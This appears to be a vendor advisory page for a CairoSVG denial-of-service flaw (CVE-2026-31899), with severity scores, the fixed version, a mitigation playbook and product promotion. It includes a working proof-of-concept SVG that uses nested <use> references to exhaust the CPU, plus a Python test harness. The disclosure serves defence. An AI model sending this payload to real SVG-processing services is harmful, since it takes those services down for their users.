How severe is GHSA-f38f-5xpm-9r7c?

GHSA-f38f-5xpm-9r7c has a CVSS score of 7.5/10, rated HIGH. Immediate patching is strongly recommended.

Which packages are affected by GHSA-f38f-5xpm-9r7c?

GHSA-f38f-5xpm-9r7c affects the following packages: cairosvg (PyPI). Ecosystems affected: PyPI.

How do I fix GHSA-f38f-5xpm-9r7c?

Update cairosvg to 2.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f38f-5xpm-9r7c is resolved across your whole dependency graph.

How do I detect GHSA-f38f-5xpm-9r7c in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for cairosvg. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

How do I mitigate GHSA-f38f-5xpm-9r7c if there is no patch (or I can't update yet)?

If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

How does O3 Security protect against GHSA-f38f-5xpm-9r7c?

O3 pinpoints whether GHSA-f38f-5xpm-9r7c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Is GHSA-f38f-5xpm-9r7c actively exploited in the wild?

No public exploit code has been indexed for GHSA-f38f-5xpm-9r7c yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for GHSA-f38f-5xpm-9r7c?

GHSA-f38f-5xpm-9r7c has an EPSS (Exploit Prediction Scoring System) score of 0.5%, placing it in the 38th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

When was GHSA-f38f-5xpm-9r7c published, and has it been updated?

GHSA-f38f-5xpm-9r7c was published on March 13, 2026 and was last updated on April 15, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍 PyPI

GHSA-f38f-5xpm-9r7c

HIGH

CairoSVG vulnerable to Exponential DoS via recursive <use> element amplification

Also known asCVE-2026-31899

Published

Mar 13, 2026

Updated

Apr 15, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

EPSS Exploitation Probability

via FIRST.org ↗

0.5%probability of exploitation in next 30 days

Lower Risk38th percentile+0.45%

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected

🐍cairosvg

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Kozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive <use> element amplification in cairosvg/defs.py (line ~335). This causes CPU exhaustion from a small input.

Severity

High — CVSS 3.1: 7.5 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Vulnerable Code

File: cairosvg/defs.py (line ~335), function use()

The use() function recursively processes <use> elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls.

Impact

1,411-byte SVG payload pins CPU at 100% indefinitely
Memory stays flat at ~43MB — no OOM kill, process never terminates
Any service accepting SVG input (thumbnailing, PDF generation, avatar rendering) is DoS-able
Amplification factor: O(10^N) rendering calls from O(N) input

Proof of Concept

Save as poc.svg and run timeout 10 cairosvg poc.svg -o test.png:

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <defs>
    <g id="a"><rect width="1" height="1"/></g>
    <g id="b"><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/><use xlink:href="#a"/></g>
    <g id="c"><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/><use xlink:href="#b"/></g>
    <g id="d"><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/><use xlink:href="#c"/></g>
    <g id="e"><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/><use xlink:href="#d"/></g>
  </defs>
  <use xlink:href="#e"/>
</svg>

Expected: timeout kills the process after 10 seconds (it never completes on its own).

Alternatively test with Python:

import cairosvg, signal
signal.alarm(5)  # Kill after 5 seconds
try:
    cairosvg.svg2png(bytestring=open("poc.svg").read())
except:
    print("[!!!] CONFIRMED: CPU exhaustion — process did not complete in 5s")

Suggested Fix

Add recursion depth counter to use() function. Cap at e.g. 10 levels. Also add total element budget to prevent amplification.

References

CWE-400

Credit

Kai Aizen (SnailSploit) — Adversarial AI & Security Research

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`cairosvg`	all versions	2.9.0

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for cairosvg. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update cairosvg to 2.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-f38f-5xpm-9r7c is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-f38f-5xpm-9r7c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-f38f-5xpm-9r7c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Kozea/CairoSVG (~300K downloads/week) has exponential denial of service via recursive `<use>` element amplification in `cairosvg/defs.py` (line ~335). This causes CPU exhaustion from a small input. ## Severity High — CVSS 3.1: 7.5 Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` ## Vulnerable Code File: `cairosvg/defs.py` (line ~335), function `use()` The `use()` function recursively processes `<use>` elements without any depth or count limits. With 5 levels of nesting and 10 references each, a 1,411-byte SVG triggers 10^5 = 100,000 render calls. ## Impact - 1,411-byte

O3 Security · Impact-Aware SCA

Is GHSA-f38f-5xpm-9r7c in your dependencies?

O3 detects GHSA-f38f-5xpm-9r7c across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

Scan my dependencies How O3 SCA works